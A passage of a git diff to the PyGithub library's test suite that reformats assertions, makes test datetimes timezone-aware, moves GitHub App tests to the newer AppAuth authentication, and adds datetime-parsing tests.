4, 17, 17, 55, 16) + self.commit.committer.date, + datetime(2012, 4, 17, 17, 55, 16, tzinfo=timezone.utc), ) self.assertEqual(self.commit.message, "Merge branch 'develop'\n") self.assertEqual(len(self.commit.parents), 2) - self.assertEqual( - self.commit.parents[0].sha, "936f4a97f1a86392637ec002bbf89ff036a5062d" - ) - self.assertEqual( - self.commit.parents[1].sha, "2a7e80e6421c5d4d201d60619068dea6bae612cb" - ) + self.assertEqual(self.commit.parents[0].sha, "936f4a97f1a86392637ec002bbf89ff036a5062d") + self.assertEqual(self.commit.parents[1].sha, "2a7e80e6421c5d4d201d60619068dea6bae612cb") self.assertEqual(self.commit.sha, "4303c5b90e2216d927155e9609436ccb8984c495") - self.assertEqual( - self.commit.tree.sha, "f492784d8ca837779650d1fb406a1a3587a764ad" - ) + self.assertEqual(self.commit.tree.sha, "f492784d8ca837779650d1fb406a1a3587a764ad") self.assertEqual( self.commit.url, "https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495", diff --git a/tests/GitMembership.py b/tests/GitMembership.py index acb8e7cd56..bd8641b5d8 100644 --- a/tests/GitMembership.py +++ b/tests/GitMembership.py @@ -1,24 +1,22 @@ ############################ Copyrights and license ############################ # # -# Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # -# Copyright 2013 AKFish # -# Copyright 2013 Cameron White # # Copyright 2013 Vincent Jacques # -# Copyright 2013 poulp # -# Copyright 2014 Tomas Radej # # Copyright 2014 Vincent Jacques # -# Copyright 2016 E. Dunham # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # -# Copyright 2017 Balázs Rostás # -# Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # +# Copyright 2018 Laurent Raufaste # # Copyright 2018 Wan Liuyang # -# Copyright 2018 bryanhuntesl <31992054+bryanhuntesl@users.noreply.github.com> # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Pavan Kunisetty # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/GitRef.py b/tests/GitRef.py index 726d9cab95..45d54e93e4 100644 --- a/tests/GitRef.py +++ b/tests/GitRef.py @@ -7,6 +7,12 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,16 +38,10 @@ class GitRef(Framework.TestCase): def setUp(self): super().setUp() - self.ref = ( - self.g.get_user() - .get_repo("PyGithub") - .get_git_ref("heads/BranchCreatedByPyGithub") - ) + self.ref = self.g.get_user().get_repo("PyGithub").get_git_ref("heads/BranchCreatedByPyGithub") def testAttributes(self): - self.assertEqual( - self.ref.object.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a" - ) + self.assertEqual(self.ref.object.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.assertEqual(self.ref.object.type, "commit") self.assertEqual( self.ref.object.url, @@ -53,9 +53,7 @@ def testAttributes(self): "https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub", ) - self.assertEqual( - repr(self.ref), 'GitRef(ref="refs/heads/BranchCreatedByPyGithub")' - ) + self.assertEqual(repr(self.ref), 'GitRef(ref="refs/heads/BranchCreatedByPyGithub")') self.assertEqual( repr(self.ref.object), 'GitObject(sha="1292bf0e22c796e91cc3d6e24b544aece8c21f2a")', diff --git a/tests/GitRelease.py b/tests/GitRelease.py index 7a6a5722f0..37dfd71c44 100644 --- a/tests/GitRelease.py +++ b/tests/GitRelease.py @@ -8,11 +8,22 @@ # Copyright 2017 Simon # # Copyright 2018 Andrew Smith # # Copyright 2018 Daniel Kesler # +# Copyright 2018 Ggicci # # Copyright 2018 Kuba # # Copyright 2018 Maarten Fonville # # Copyright 2018 Shinichi TAMURA # +# Copyright 2018 Wan Liuyang # # Copyright 2018 edquist # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Jesse Li # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Sam Morgan # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Mikhail f. Shiryaev # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -32,9 +43,9 @@ # # ################################################################################ -import datetime import os import zipfile +from datetime import datetime, timezone from github import GithubException @@ -64,8 +75,8 @@ def read(self, size=-1): release_id = 28524234 author_id = 64711998 tag = "v1.0" -create_date = datetime.datetime(2020, 7, 12, 7, 34, 42) -publish_date = datetime.datetime(2020, 7, 14, 0, 58, 20) +create_date = datetime(2020, 7, 12, 7, 34, 42, tzinfo=timezone.utc) +publish_date = datetime(2020, 7, 14, 0, 58, 20, tzinfo=timezone.utc) class GitRelease(Framework.TestCase): @@ -129,9 +140,7 @@ def testAttributes(self): self.assertFalse(release.prerelease) self.assertEqual( release.url, - "https://api.github.com/repos/{}/{}/releases/{}".format( - user, repo_name, release_id - ), + f"https://api.github.com/repos/{user}/{repo_name}/releases/{release_id}", ) self.assertEqual(release.author._rawData["login"], user) self.assertEqual(release.author.login, user) @@ -145,15 +154,11 @@ def testAttributes(self): self.assertEqual(release.published_at, publish_date) self.assertEqual( release.tarball_url, - "https://api.github.com/repos/{}/{}/tarball/{}".format( - user, repo_name, tag - ), + f"https://api.github.com/repos/{user}/{repo_name}/tarball/{tag}", ) self.assertEqual( release.zipball_url, - "https://api.github.com/repos/{}/{}/zipball/{}".format( - user, repo_name, tag - ), + f"https://api.github.com/repos/{user}/{repo_name}/zipball/{tag}", ) self.assertEqual(repr(release), 'GitRelease(title="Test")') self.assertEqual(len(release.assets), 1) @@ -204,17 +209,13 @@ def testUploadAsset(self): release = self.new_release self.assertEqual(release.id, self.new_release_id) - release.upload_asset( - self.artifact_path, "unit test artifact", "application/zip" - ) + release.upload_asset(self.artifact_path, "unit test artifact", "application/zip") self.tearDownNewRelease() def testUploadAssetWithName(self): self.setUpNewRelease() release = self.new_release - r = release.upload_asset( - self.artifact_path, name="foobar.zip", content_type="application/zip" - ) + r = release.upload_asset(self.artifact_path, name="foobar.zip", content_type="application/zip") self.assertEqual(r.name, "foobar.zip") self.tearDownNewRelease() @@ -228,9 +229,7 @@ def testCreateGitTagAndRelease(self): self.assertEqual(release.author._rawData["login"], user) self.assertEqual( release.html_url, - "https://github.com/{}/{}/releases/tag/{}".format( - user, repo_name, self.new_tag - ), + f"https://github.com/{user}/{repo_name}/releases/tag/{self.new_tag}", ) self.tearDownNewRelease() diff --git a/tests/GitTag.py b/tests/GitTag.py index d827282fd3..b658d7c851 100644 --- a/tests/GitTag.py +++ b/tests/GitTag.py @@ -8,6 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,7 +33,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -35,17 +41,11 @@ class GitTag(Framework.TestCase): def setUp(self): super().setUp() - self.tag = ( - self.g.get_user() - .get_repo("PyGithub") - .get_git_tag("f5f37322407b02a80de4526ad88d5f188977bc3c") - ) + self.tag = self.g.get_user().get_repo("PyGithub").get_git_tag("f5f37322407b02a80de4526ad88d5f188977bc3c") def testAttributes(self): self.assertEqual(self.tag.message, "Version 0.6\n") - self.assertEqual( - self.tag.object.sha, "4303c5b90e2216d927155e9609436ccb8984c495" - ) + self.assertEqual(self.tag.object.sha, "4303c5b90e2216d927155e9609436ccb8984c495") self.assertEqual(self.tag.object.type, "commit") self.assertEqual( self.tag.object.url, @@ -54,7 +54,8 @@ def testAttributes(self): self.assertEqual(self.tag.sha, "f5f37322407b02a80de4526ad88d5f188977bc3c") self.assertEqual(self.tag.tag, "v0.6") self.assertEqual( - self.tag.tagger.date, datetime.datetime(2012, 5, 10, 18, 14, 15) + self.tag.tagger.date, + datetime(2012, 5, 10, 18, 14, 15, tzinfo=timezone.utc), ) self.assertEqual(self.tag.tagger.email, "vincent@vincent-jacques.net") self.assertEqual(self.tag.tagger.name, "Vincent Jacques") diff --git a/tests/GitTree.py b/tests/GitTree.py index 69718f2ed7..af9143f76f 100644 --- a/tests/GitTree.py +++ b/tests/GitTree.py @@ -8,6 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,20 +39,14 @@ class GitTree(Framework.TestCase): def setUp(self): super().setUp() - self.tree = ( - self.g.get_user() - .get_repo("PyGithub") - .get_git_tree("f492784d8ca837779650d1fb406a1a3587a764ad") - ) + self.tree = self.g.get_user().get_repo("PyGithub").get_git_tree("f492784d8ca837779650d1fb406a1a3587a764ad") def testAttributes(self): self.assertEqual(self.tree.sha, "f492784d8ca837779650d1fb406a1a3587a764ad") self.assertEqual(len(self.tree.tree), 11) self.assertEqual(self.tree.tree[0].mode, "100644") self.assertEqual(self.tree.tree[0].path, ".gitignore") - self.assertEqual( - self.tree.tree[0].sha, "8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd" - ) + self.assertEqual(self.tree.tree[0].sha, "8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd") self.assertEqual(self.tree.tree[0].size, 53) self.assertEqual(self.tree.tree[0].type, "blob") self.assertEqual( @@ -55,9 +55,7 @@ def testAttributes(self): ) self.assertEqual(self.tree.tree[6].mode, "040000") self.assertEqual(self.tree.tree[6].path, "ReplayDataForIntegrationTest") - self.assertEqual( - self.tree.tree[6].sha, "60b4602b2c2070246c5df078fb7a5150b45815eb" - ) + self.assertEqual(self.tree.tree[6].sha, "60b4602b2c2070246c5df078fb7a5150b45815eb") self.assertEqual(self.tree.tree[6].size, None) self.assertEqual(self.tree.tree[6].type, "tree") self.assertEqual( diff --git a/tests/GithubApp.py b/tests/GithubApp.py index 63ea320995..c2ddf8a97e 100644 --- a/tests/GithubApp.py +++ b/tests/GithubApp.py @@ -1,6 +1,10 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Raju Subramanian # +# Copyright 2020 Mahesh Raju # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 chantra # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,9 +24,12 @@ # # ################################################################################ -from datetime import datetime +from datetime import datetime, timezone + +import github from . import Framework +from .GithubIntegration import APP_ID, PRIVATE_KEY class GithubApp(Framework.TestCase): @@ -32,10 +39,8 @@ def setUp(self): def testGetPublicApp(self): app = self.g.get_app(slug=self.app_slug) - self.assertEqual(app.created_at, datetime(2018, 7, 30, 9, 30, 17)) - self.assertEqual( - app.description, "Automate your workflow from idea to production" - ) + self.assertEqual(app.created_at, datetime(2018, 7, 30, 9, 30, 17, tzinfo=timezone.utc)) + self.assertEqual(app.description, "Automate your workflow from idea to production") self.assertListEqual( app.events, [ @@ -95,17 +100,25 @@ def testGetPublicApp(self): }, ) self.assertEqual(app.slug, "github-actions") - self.assertEqual(app.updated_at, datetime(2019, 12, 10, 19, 4, 12)) + self.assertEqual(app.updated_at, datetime(2019, 12, 10, 19, 4, 12, tzinfo=timezone.utc)) self.assertEqual(app.url, "/apps/github-actions") def testGetAuthenticatedApp(self): - # For this to work correctly in record mode, this test must be run with --auth_with_jwt - app = self.g.get_app() - # At this point the GithubApp object is not complete. - # The url should change when the object is completed - after pulling it down - # from the github API - self.assertEqual(app.url, "/app") - self.assertEqual(app.created_at, datetime(2020, 8, 1, 17, 23, 46)) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + g = github.Github(auth=auth) + + with self.assertWarns(DeprecationWarning) as warning: + # httpretty has some deprecation warnings in Python 3.12 + with self.ignoreWarning(category=DeprecationWarning, module="httpretty"): + app = g.get_app() + + self.assertWarning( + warning, + "Argument slug is mandatory, calling this method without the slug argument is deprecated, " + "please use github.GithubIntegration(auth=github.Auth.AppAuth(...)).get_app() instead", + ) + + self.assertEqual(app.created_at, datetime(2020, 8, 1, 17, 23, 46, tzinfo=timezone.utc)) self.assertEqual(app.description, "Sample App to test PyGithub") self.assertListEqual( app.events, @@ -132,5 +145,5 @@ def testGetAuthenticatedApp(self): }, ) self.assertEqual(app.slug, "pygithubtest") - self.assertEqual(app.updated_at, datetime(2020, 8, 1, 17, 44, 31)) + self.assertEqual(app.updated_at, datetime(2020, 8, 1, 17, 44, 31, tzinfo=timezone.utc)) self.assertEqual(app.url, "/apps/pygithubtest") diff --git a/tests/GithubIntegration.py b/tests/GithubIntegration.py index c93c9c0184..71be2a04cb 100644 --- a/tests/GithubIntegration.py +++ b/tests/GithubIntegration.py @@ -1,10 +1,44 @@ -import sys +############################ Copyrights and license ############################ +# # +# Copyright 2019 Jake Wilkins # +# Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Tomas Tomecek # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 秋葉 # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 chantra # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + import time # NOQA -import jwt import requests # NOQA +from urllib3.exceptions import InsecureRequestWarning import github +from github import Consts +from github.Auth import AppInstallationAuth from . import Framework @@ -43,64 +77,89 @@ def setUp(self): self.repo_installation_id = 30614431 self.user_installation_id = 30614431 - def testCreateJWT(self): - self.origin_time = sys.modules["time"].time - sys.modules["time"].time = lambda: 1550055331.7435968 - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) - token = github_integration.create_jwt() - payload = jwt.decode( - token, - key=PUBLIC_KEY, - algorithms=["RS256"], - options={"verify_exp": False}, - ) - self.assertDictEqual( - payload, {"iat": 1550055271, "exp": 1550055631, "iss": APP_ID} - ) - sys.modules["time"].time = self.origin_time - - def testCreateJWTWithExpiration(self): - self.origin_time = sys.modules["time"].time - sys.modules["time"].time = lambda: 1550055331.7435968 - github_integration = github.GithubIntegration( - integration_id=APP_ID, - private_key=PRIVATE_KEY, - jwt_expiry=120, - jwt_issued_at=-30, - ) - token = github_integration.create_jwt(60) - payload = jwt.decode( - token, - key=PUBLIC_KEY, - algorithms=["RS256"], - options={"verify_exp": False}, - ) - self.assertDictEqual( - payload, {"iat": 1550055301, "exp": 1550055391, "iss": APP_ID} - ) - sys.modules["time"].time = self.origin_time + def testDeprecatedAppAuth(self): + # Replay data copied from testGetInstallations to test authentication only + with self.assertWarns(DeprecationWarning) as warning: + github_integration = github.GithubIntegration(integration_id=APP_ID, private_key=PRIVATE_KEY) + installations = github_integration.get_installations() + self.assertEqual(len(list(installations)), 2) + self.assertWarning( + warning, + "Arguments integration_id, private_key, jwt_expiry, jwt_issued_at and " + "jwt_algorithm are deprecated, please use auth=github.Auth.AppAuth(...) " + "instead", + ) + + def testRequiredAppAuth(self): + # GithubIntegration requires AppAuth authentication. + for auth in [self.oauth_token, self.jwt, self.login]: + with self.assertRaises(AssertionError) as r: + github.GithubIntegration(auth=auth) + self.assertEqual( + str(r.exception), + f"GithubIntegration requires github.Auth.AppAuth authentication, not {type(auth)}", + ) + + def testAppAuth(self): + # Replay data copied from testDeprecatedAppAuth to test parity + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) + installations = github_integration.get_installations() + self.assertEqual(len(list(installations)), 2) + + def testNoneAppAuth(self): + with self.assertRaises(AssertionError): + github.GithubIntegration(auth=None) def testGetInstallations(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) installations = github_integration.get_installations() self.assertEqual(len(list(installations)), 2) self.assertEqual(installations[0].id, self.org_installation_id) self.assertEqual(installations[1].id, self.repo_installation_id) + def testGetGithubForInstallation(self): + # with verify=False, urllib3.connectionpool rightly may issue an InsecureRequestWarning + # we ignore InsecureRequestWarning from urllib3.connectionpool + with self.ignoreWarning(category=InsecureRequestWarning, module="urllib3.connectionpool"): + kwargs = dict( + auth=github.Auth.AppAuth(APP_ID, PRIVATE_KEY), + # http protocol used to deviate from default base url, recording data might require https + base_url="http://api.github.com", + timeout=Consts.DEFAULT_TIMEOUT + 10, + user_agent="PyGithub/Python-Test", + per_page=Consts.DEFAULT_PER_PAGE + 10, + verify=False, + retry=3, + pool_size=10, + seconds_between_requests=100, + seconds_between_writes=1000, + ) + + # assert kwargs consists of ALL requester constructor arguments + self.assertEqual(kwargs.keys(), github.Requester.Requester.__init__.__annotations__.keys()) + + github_integration = github.GithubIntegration(**kwargs) + g = github_integration.get_github_for_installation(36541767) + + self.assertIsInstance(g._Github__requester.auth, AppInstallationAuth) + + actual = g._Github__requester.kwargs + kwargs.update(auth=str(AppInstallationAuth)) + actual.update(auth=str(type(actual["auth"]))) + self.assertDictEqual(kwargs, actual) + + repo = g.get_repo("PyGithub/PyGithub") + self.assertEqual(repo.full_name, "PyGithub/PyGithub") + def testGetAccessToken(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) # Get repo installation access token - repo_installation_authorization = github_integration.get_access_token( - self.repo_installation_id - ) + repo_installation_authorization = github_integration.get_access_token(self.repo_installation_id) self.assertEqual( repo_installation_authorization.token, "ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", @@ -109,14 +168,10 @@ def testGetAccessToken(self): repo_installation_authorization.permissions, {"issues": "read", "metadata": "read"}, ) - self.assertEqual( - repo_installation_authorization.repository_selection, "selected" - ) + self.assertEqual(repo_installation_authorization.repository_selection, "selected") # Get org installation access token - org_installation_authorization = github_integration.get_access_token( - self.org_installation_id - ) + org_installation_authorization = github_integration.get_access_token(self.org_installation_id) self.assertEqual( org_installation_authorization.token, "ghs_V0xygF8yACXSDz5FM65QWV1BT2vtxw0cbgPw", @@ -127,17 +182,11 @@ def testGetAccessToken(self): "metadata": "read", "organization_administration": "read", } - self.assertDictEqual( - org_installation_authorization.permissions, org_permissions - ) - self.assertEqual( - org_installation_authorization.repository_selection, "selected" - ) + self.assertDictEqual(org_installation_authorization.permissions, org_permissions) + self.assertEqual(org_installation_authorization.repository_selection, "selected") # Get user installation access token - user_installation_authorization = github_integration.get_access_token( - self.user_installation_id - ) + user_installation_authorization = github_integration.get_access_token(self.user_installation_id) self.assertEqual( user_installation_authorization.token, "ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", @@ -146,100 +195,88 @@ def testGetAccessToken(self): user_installation_authorization.permissions, {"issues": "read", "metadata": "read"}, ) - self.assertEqual( - user_installation_authorization.repository_selection, "selected" - ) + self.assertEqual(user_installation_authorization.repository_selection, "selected") def testGetUserInstallation(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) installation = github_integration.get_user_installation(username="ammarmallik") self.assertEqual(installation.id, self.user_installation_id) def testGetOrgInstallation(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) installation = github_integration.get_org_installation(org="GithubApp-Test-Org") self.assertEqual(installation.id, self.org_installation_id) def testGetRepoInstallation(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) - installation = github_integration.get_repo_installation( - owner="ammarmallik", repo="test-runner" - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) + installation = github_integration.get_repo_installation(owner="ammarmallik", repo="test-runner") self.assertEqual(installation.id, self.repo_installation_id) def testGetAppInstallation(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) - installation = github_integration.get_app_installation( - installation_id=self.org_installation_id - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) + installation = github_integration.get_app_installation(installation_id=self.org_installation_id) self.assertEqual(installation.id, self.org_installation_id) def testGetInstallationNotFound(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.UnknownObjectException) as raisedexp: github_integration.get_org_installation(org="GithubApp-Test-Org-404") self.assertEqual(raisedexp.exception.status, 404) def testGetInstallationWithExpiredJWT(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: github_integration.get_org_installation(org="GithubApp-Test-Org") self.assertEqual(raisedexp.exception.status, 401) def testGetAccessTokenWithExpiredJWT(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: github_integration.get_access_token(self.repo_installation_id) self.assertEqual(raisedexp.exception.status, 401) def testGetAccessTokenForNoInstallation(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.UnknownObjectException) as raisedexp: github_integration.get_access_token(40432121) self.assertEqual(raisedexp.exception.status, 404) def testGetAccessTokenWithInvalidPermissions(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: - github_integration.get_access_token( - self.repo_installation_id, permissions={"test-permissions": "read"} - ) + github_integration.get_access_token(self.repo_installation_id, permissions={"test-permissions": "read"}) self.assertEqual(raisedexp.exception.status, 422) def testGetAccessTokenWithInvalidData(self): - github_integration = github.GithubIntegration( - integration_id=APP_ID, private_key=PRIVATE_KEY - ) + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) with self.assertRaises(github.GithubException) as raisedexp: - github_integration.get_access_token( - self.repo_installation_id, permissions="invalid_data" - ) + github_integration.get_access_token(self.repo_installation_id, permissions="invalid_data") self.assertEqual(raisedexp.exception.status, 400) + + def testGetApp(self): + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + github_integration = github.GithubIntegration(auth=auth) + app = github_integration.get_app() + + self.assertEqual(app.name, "PyGithubTest") + self.assertEqual(app.url, "/apps/pygithubtest") diff --git a/tests/GithubObject.py b/tests/GithubObject.py new file mode 100644 index 0000000000..9e0bf24d44 --- /dev/null +++ b/tests/GithubObject.py @@ -0,0 +1,127 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Christoph Reiter # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Nicolas Schweitzer # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import unittest +from datetime import datetime, timedelta, timezone + +from . import Framework + +gho = Framework.github.GithubObject + + +class GithubObject(unittest.TestCase): + def testMakeDatetimeAttribute(self): + for value, expected in [ + (None, None), + ( + "2021-01-23T12:34:56Z", + datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone.utc), + ), + ( + "2021-01-23T12:34:56+00:00", + datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone.utc), + ), + ( + "2021-01-23T12:34:56+01:00", + datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone(timedelta(hours=1))), + ), + ( + "2021-01-23T12:34:56-06:30", + datetime( + 2021, + 1, + 23, + 12, + 34, + 56, + tzinfo=timezone(timedelta(hours=-6, minutes=-30)), + ), + ), + ]: + actual = gho.GithubObject._makeDatetimeAttribute(value) + self.assertEqual(gho._ValuedAttribute, type(actual), value) + self.assertEqual(expected, actual.value, value) + + def testMakeHttpDatetimeAttribute(self): + for value, expected in [ + (None, None), + # https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.1.1 + ( + "Mon, 11 Sep 2023 14:07:29 GMT", + datetime(2023, 9, 11, 14, 7, 29, tzinfo=timezone.utc), + ), + # obsolete formats: + ( + "Monday, 11-Sep-23 14:07:29 GMT", + datetime(2023, 9, 11, 14, 7, 29, tzinfo=timezone.utc), + ), + ( + "Mon Sep 11 14:07:29 2023", + datetime(2023, 9, 11, 14, 7, 29, tzinfo=timezone.utc), + ), + ]: + actual = gho.GithubObject._makeHttpDatetimeAttribute(value) + self.assertEqual(gho._ValuedAttribute, type(actual), value) + self.assertEqual(expected, actual.value, value) + + def testMakeHttpDatetimeAttributeBadValues(self): + for value in ["not a timestamp", 1234]: + actual = gho.GithubObject._makeHttpDatetimeAttribute(value) + with self.assertRaises(Framework.github.BadAttributeException): + actual.value + + def testMakeDatetimeAttributeBadValues(self): + for value in ["not a timestamp", 1234]: + actual = gho.GithubObject._makeDatetimeAttribute(value) + + self.assertEqual(gho._BadAttribute, type(actual)) + with self.assertRaises(Framework.github.BadAttributeException) as e: + value = actual.value + self.assertEqual(value, e.exception.actual_value) + self.assertEqual(str, e.exception.expected_type) + if isinstance(value, str): + self.assertIsNotNone(e.exception.transformation_exception) + else: + self.assertIsNone(e.exception.transformation_exception) + + def testMakeTimestampAttribute(self): + actual = gho.GithubObject._makeTimestampAttribute(None) + self.assertEqual(gho._ValuedAttribute, type(actual)) + self.assertIsNone(actual.value) + + actual = gho.GithubObject._makeTimestampAttribute(1611405296) + self.assertEqual(gho._ValuedAttribute, type(actual)) + self.assertEqual(datetime(2021, 1, 23, 12, 34, 56, tzinfo=timezone.utc), actual.value) + + def testMakeTimetsampAttributeBadValues(self): + for value in ["1611405296", 1234.567]: + actual = gho.GithubObject._makeTimestampAttribute(value) + + self.assertEqual(gho._BadAttribute, type(actual)) + with self.assertRaises(Framework.github.BadAttributeException) as e: + value = actual.value + self.assertEqual(value, e.exception.actual_value) + self.assertEqual(int, e.exception.expected_type) + self.assertIsNone(e.exception.transformation_exception) diff --git a/tests/GithubRetry.py b/tests/GithubRetry.py new file mode 100644 index 0000000000..c9fc850f85 --- /dev/null +++ b/tests/GithubRetry.py @@ -0,0 +1,406 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Patryk Szulczyk # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # 